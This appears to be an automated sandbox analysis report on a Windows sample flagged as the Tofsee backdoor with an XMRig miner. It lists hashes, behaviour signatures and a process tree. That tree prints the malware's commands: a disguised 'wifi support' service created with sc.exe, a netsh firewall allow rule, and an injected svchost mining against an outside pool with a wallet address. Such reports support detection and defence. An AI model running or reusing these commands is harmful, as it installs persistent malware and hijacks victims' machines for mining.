Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    26-09-2021 18:50

General

  • Target

    97d5cb72674f0341389623a8f9c3882384426934b35b61b3200202fca3c6b919.exe

  • Size

    154KB

  • MD5

    51f7971fc5cc36e55585bae323640fe1

  • SHA1

    fe0eefd15974b53145898fe83b6787e48d4da8fb

  • SHA256

    97d5cb72674f0341389623a8f9c3882384426934b35b61b3200202fca3c6b919

  • SHA512

    664a04359b37e70d2230fffd6682271c3e48626227ad3ad5086ab6916ebba5e880de0c60a5ade47ed22c1a831a44c6a4a5d0211ee365fb522ac378d05c82e9c7

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE DNS Query Sinkhole Domain Various Families (Possible Infected Host)

    suricata: ET MALWARE DNS Query Sinkhole Domain Various Families (Possible Infected Host)

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\97d5cb72674f0341389623a8f9c3882384426934b35b61b3200202fca3c6b919.exe
    "C:\Users\Admin\AppData\Local\Temp\97d5cb72674f0341389623a8f9c3882384426934b35b61b3200202fca3c6b919.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:632
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hvcsendb\
      2⤵
        PID:356
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\afbtrug.exe" C:\Windows\SysWOW64\hvcsendb\
        2⤵
          PID:1184
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hvcsendb binPath= "C:\Windows\SysWOW64\hvcsendb\afbtrug.exe /d\"C:\Users\Admin\AppData\Local\Temp\97d5cb72674f0341389623a8f9c3882384426934b35b61b3200202fca3c6b919.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1432
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description hvcsendb "wifi internet conection"
            2⤵
              PID:1768
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start hvcsendb
              2⤵
                PID:2052
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2660
              • C:\Windows\SysWOW64\hvcsendb\afbtrug.exe
                C:\Windows\SysWOW64\hvcsendb\afbtrug.exe /d"C:\Users\Admin\AppData\Local\Temp\97d5cb72674f0341389623a8f9c3882384426934b35b61b3200202fca3c6b919.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2448
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:3960
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3296

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\afbtrug.exe

                MD5

                6b31dd1a137c45cc7ad540d035be1f05

                SHA1

                312efd1c915146fbc130e9816010d8bed4049c83

                SHA256

                63c19cfff9fb121f4b5e6f26863e5a18058b24b268bc76ae17742e2e54c4c772

                SHA512

                031c0ba037b09f98e8c84dac140a0b6c53a137d68928d4497d0b8b6bd016ec9b97b7b7572cd95ab528316df6d11be2b62b61c4ca88fa1cf154dd80b44880088e

              • C:\Windows\SysWOW64\hvcsendb\afbtrug.exe

                MD5

                6b31dd1a137c45cc7ad540d035be1f05

                SHA1

                312efd1c915146fbc130e9816010d8bed4049c83

                SHA256

                63c19cfff9fb121f4b5e6f26863e5a18058b24b268bc76ae17742e2e54c4c772

                SHA512

                031c0ba037b09f98e8c84dac140a0b6c53a137d68928d4497d0b8b6bd016ec9b97b7b7572cd95ab528316df6d11be2b62b61c4ca88fa1cf154dd80b44880088e

              • memory/356-116-0x0000000000000000-mapping.dmp

              • memory/632-115-0x0000000000400000-0x00000000004AD000-memory.dmp

                Filesize

                692KB

              • memory/632-114-0x0000000000610000-0x0000000000623000-memory.dmp

                Filesize

                76KB

              • memory/1184-117-0x0000000000000000-mapping.dmp

              • memory/1432-119-0x0000000000000000-mapping.dmp

              • memory/1768-120-0x0000000000000000-mapping.dmp

              • memory/2052-121-0x0000000000000000-mapping.dmp

              • memory/2448-129-0x0000000000400000-0x00000000004AD000-memory.dmp

                Filesize

                692KB

              • memory/2448-128-0x00000000005E0000-0x000000000072A000-memory.dmp

                Filesize

                1.3MB

              • memory/2660-123-0x0000000000000000-mapping.dmp

              • memory/3296-131-0x0000000003000000-0x00000000030F1000-memory.dmp

                Filesize

                964KB

              • memory/3296-136-0x0000000003000000-0x00000000030F1000-memory.dmp

                Filesize

                964KB

              • memory/3296-135-0x000000000309259C-mapping.dmp

              • memory/3960-125-0x0000000002F89A6B-mapping.dmp

              • memory/3960-124-0x0000000002F80000-0x0000000002F95000-memory.dmp

                Filesize

                84KB

              • memory/3960-130-0x0000000002F80000-0x0000000002F95000-memory.dmp

                Filesize

                84KB